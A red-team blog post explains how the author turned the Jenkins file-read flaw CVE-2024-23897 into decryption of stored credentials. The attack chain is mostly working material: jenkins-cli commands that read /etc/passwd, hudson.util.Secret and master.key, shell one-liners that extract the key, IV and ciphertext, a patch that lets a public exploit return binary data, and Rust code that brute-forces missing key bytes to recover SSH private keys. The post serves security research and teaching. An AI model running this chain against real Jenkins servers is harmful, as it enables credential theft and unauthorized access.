Post

From Limited file read to full access on Jenkins (CVE-2024-23897)

TL;DR:

As a red teamer, you encountered a Jenkins instance that is vulnerable to CVE-2024-23897, which allowed for limited arbitrary file read. Without credentials and with the /script endpoint inaccessible, you sought to leverage this vulnerability by revealing Hudson to decypt the credentials.

What is CVE-2024-23897?

CVE-2024-23897 is a critical vulnerability in Jenkins that enables attackers to read arbitrary files on the Jenkins server, potentially leading to remote code execution. This vulnerability stems from the args4j library, which automatically expands file contents into command arguments when an argument starts with the “@” character.

Although online resources often suggest this vulnerability can result in remote code execution, they frequently fail to explain the specific technical details and POC required for this escalation.

RCE Conditions:

  1. Resource Root URL:
    • The “Resource Root URL” functionality is enabled.
    • Attackers can retrieve binary secrets.
    • The attacker requires an API token for a (non-anonymous) user account. This user account does not need to currently possess Overall/Read permission.
  2. “Remember Me” Cookie:
    • The “Remember me” feature is enabled (default setting).
    • Attackers possess Overall/Read permission, allowing them to read content in files beyond the initial lines.
    • Attackers can retrieve binary secrets.
  3. Remote Code Execution via CSRF Protection Bypass:
    • Attackers can retrieve binary secrets.
    • The web session ID is not part of CSRF crumbs.

In our case, none of the above conditions were met. Additionally, the advisory mentions limitations regarding reading binary files, as detailed below:

Limitations for reading binary files Jenkins Advisory Limitations of binary reading

Reference

Available exploit

There are several available POCs and the best one I tried so far was this one

1
git clone https://github.com/xaitax/CVE-2024-23897.git

As unauthenticated users, we are limited to reading only the first three lines of any file through the provided commands.

  • who-am-i: reads the first line.
  • enable-job: reads second line.
  • help: reads the 3rd line.

It can also be executed directly using the jenkins-cli.jar file, which can be downloaded from the URL http://target/jnlpJars/jenkins-cli.jar. For example:

1
2
3
4
5
6
java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/etc/passwd' 2>&1

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.

During the actual red team, the target will most likely need to be accessed through tunneling (Proxychains), in which the jenkins-cli.jar tool may not go through, but the Python script can be utilized. In such cases, a tool like Proxifier can be employed on a Windows machine to overcome this challenge.

Reading files

Given the limited lines we can access due to the authentication, we must identify files of interest that may partially assist us.

The key files that can be tested include:

  • /proc/self/environ
  • /proc/self/cmdline
  • ${JENKINS_HOME}/credentials.xml (Jenkins home can be found in /proc/self/*)
  • ${JENKINS_HOME}/secrets/master.key
  • ${JENKINS_HOME}/secrets/initialAdminPassword

Even if an attacker can access all the aforementioned files, including the master.key, these assets alone would not be sufficient to decrypt the credentials.

The analysis of how Jenkins encrypts and decrypts credentials, as demonstrated in this script, reveals that three components are required:

  • master.key
  • hudson.util.Secret (binary file)
  • encrypted credential (e.g., AQAAABAAAAAQmEZaw8Fv9tPlXWVQye1TR2KgF3p/wGoYs/TEQCmSxkk=)

Analyzing retrieval of binary data

In the context of binary data retrieval, the absence of hudson.util.Secret presents a significant challenge. Attempts to retrieve it using the exploit mentioned above will fail, accompanied by the following error:

1
http://localhost:9091 not reachable: 'utf-8' codec can't decode byte 0xc6 in position 10: invalid continuation byte

This issue arises due to the presence of non-printable characters. However, modifying line 80 as follows resolves this:

1
 result = response.hex()

During research, it was observed that ippSec encountered similar issues while attempting to solve the builder machine, as highlighted in their YouTube video https://www.youtube.com/watch?v=jYCOIf9Fcmo&t=1427s.

Wireshark analysis

A Wireshark analysis was conducted to examine the retrieval of binary files. Notably, the binary file begins after the byte sequence 643a20, with a repetitive sequence of EFBFBD starting from the 4th byte.

wireshark-analysis

This was only the case on the testing environment.

EFBFBD and UTF-8 conversion (�)

EF BF BD (in hex), which is the utf-8 encoding of the Unicode character U+FFFD Replacement characters.When decoding sequences of bytes into Unicode characters, a program may encounter a group bytes that is invalid (i.e. it does not correspond to a Unicode character). In such cases, the program has three choices: it can stop decoding and raise an error, silently skip over the invalid group of bytes, or translate the group of bytes into a special marker. This latter scheme allows most of the text to be read, but still leaves an indication that something went wrong.

coming across the blog of Guillaume, it was an amazing inspiration for me. Guillaume explained the UTF-8 and EFBFBD replacement character to brute force and wrote a nice code in rust to crack it.

Crack Me If You Can: Thanks to Uncle Sam’s Export Rules!

As previously mentioned, the vulnerability is limited by the ability to read only a few lines of the key, making it challenging to crack. However, Guillaume made a new discovery: due to US export restrictions, the keys are limited to just 128 bits, or 16 bytes.

US export keys

This implies that, to achieve successful decryption, it is sufficient to read only the first 16 bytes of the Hudson file, even if only the initial few lines are accessible.

Recorving the key based on known plaintext

Now with given the encrypted credentials that are in credentials.xml file, or you could obtain via build-log history in case you managed to steal cookie from a limited-access user during a red team and still have no access to /script due to the lack of overall permissions we could know part of the plaintext credentials, for example if it is a private key usually it starts with -----BEGIN OPENSSH PRIVATE KEY----- and since we are targeting the first 16 bytes, it should be working as follow:

CBC attack

The wind does not blow as the ships desire

Having thoroughly reviewed the Guillaume code and blog post, and comprehending the concept of replacement characters, I was eager to begin deciphering the Hudson and confidentiality keys. Unfortunately, this anticipation was met with disappointment.

Upon examining the initial 16 bytes in my case, it was evident that the EFBFBD replacement character was absent.

Jenkins-hex-hudson

The actual bytes of Hudson file starts after 3a20. The first 32 bytes are output from Jenkins-cli itself and irrelevant.

In order to avoid confusion between the bytes of Hudson file itself and jenkins-cli error, you can apply the below one-liner:

1
cat hudson.bin | tail -c +33 | head -c +16 | xxd

hex-hudson-read-16bytes

Byte patterns

I couldn’t find the replacement bytes EFBFBD, which might mean the Hudson binary file was correctly retrieved, or something else is at play. Cracking the confidentiality key didn’t work.

Considering a different encoding might change the replacement bytes, I wondered if it was a sequence or just one byte.

I set up several Jenkins instances with different environments and encoding, reading the binary files to spot patterns. I suspected the replacement byte could be a single byte.

Using this one-liner, I checked for the most repeated byte, identifying 0x3f as a potential replacement byte

1
dd if=hudson.bin bs=1 skip=32 count=16 2>/dev/null | xxd -p | fold -w2 | sort | uniq -c | sort -nr | head -n 1

Hudson-Repeated-byte

Looking at several encoding we can have an overview of how replacement characters byte look like in below table:

EncodingReplacement Byte(s)
UTF-8EF BF BD
UTF-1600FD Big Endian / FD00 Little Endian
UTF-320000FFD Big Endian / FDFF0000 Little Endian
ISO-8859-1 (Latin-1)3f

Analyzing encrypted file, get IV and Ciphertext

Additionally based on the above testing, we need to analyze the cipher text and extract the IV and 16 bytes of the cipher. It was noticed that the file has a header, then IV, and then the ciphertext.

Ciphertext-analysis

The IV starts usually after the header from the 10th byte.

Placing all together

Now it is time to place all together and automate the steps to crack the encrypted credentials:

Getting Hudson file

1
java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/var/jenkins_home/secrets/hudson.util.Secret' 2>&1  | tail -c +33 | head -c 192 | xxd | tee hudson.bin

Sorting the master.key

The steps needed for master key is to hex it, and sha256 of first 16 bytes

1
cat masterkey.bin | xxd -p | tr -d '\n' | xxd -r -p | sha256sum | cut -c1-32 | sed 's/../0x&,/g'

Getting IV and cipher text

You can apply these lines to the cipher text

1
2
echo -n $1 | base64 -d | tail -c +10 | head -c +16 | xxd -p | sed 's/../0x&,/g'
echo -n $1 | base64 -d | tail -c +26 | xxd -p | sed 's/../0x&,/g'

The first output is for the IV, second for the ciphertext.

Start brute forcing

I’ll be using the same rust code that was developed by Guillaume with slight modification of checking only printable characters and also check if the first 5 bytes of decrypted text are ----- which is the start of the private ssh key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
extern crate aes;
extern crate rayon;
extern crate itertools;

use std::str;
use rayon::prelude::*;
use aes::Aes128;
use aes::cipher::typenum;
use aes::cipher::{
    BlockDecrypt, KeyInit,
    generic_array::GenericArray,
};

fn do_decrypt(candidate: GenericArray<u8, typenum::U16>) {
    let mut ct = GenericArray::from([]);
    let iv = GenericArray::from([]);

    let cipher2 = Aes128::new(&candidate);
    cipher2.decrypt_block(&mut ct);

    // AES-CBC, need to xor pt with iv
    for n in 0..16 {
        ct[n] ^= iv[n];
    }
    // checking if the first 5 bytes start with ----
    for k in 0..5{
     if ct[k] != 0x2d {
        return
     }
    }
    // ensure that all decrypted bytes are printable characters
   for k in 0..16 {
    if ct[k as usize] > 0x7F || ct[k as usize] < 0x20 {
        return 
    }
   }

    println!("{:?}: Candidate {:?}", str::from_utf8(&ct), &candidate);
}

fn main() {
    let derived_master_key = GenericArray::from([]);
    let cipher1 = Aes128::new(&derived_master_key);

    let vec: Vec<u8> = (0x80..=0xFF).collect();

    vec.par_iter().for_each(|a: &u8| {
        for b in 0x80..=0xFF {
            for c in 0x80..=0xFF {
                for d in 0x80..=0xFF {
                    for e in 0x80..=0xFF {
                            let mut candidate = GenericArray::from([]);
                            cipher1.decrypt_block(&mut candidate);
                            do_decrypt(candidate)
                    }
                }
            }
        }
    });
}

Cracking in action / Demo

Demo video

Performance

I executed the script on Macbook M1 Pro, The number of bytes were 5 and it took roughly from 9:28 to 18:29 minutes.

cracking time

Final thoughts

  • Missing bytes can vary; sometimes it’s less than 6 bytes, other times up to 9 bytes.
  • Encoding can significantly impact the outcome, so be aware of potential encoding issues.
  • Be cautious with vulnerability advisories; they can be misleading.
This post is licensed under CC BY 4.0 by the author.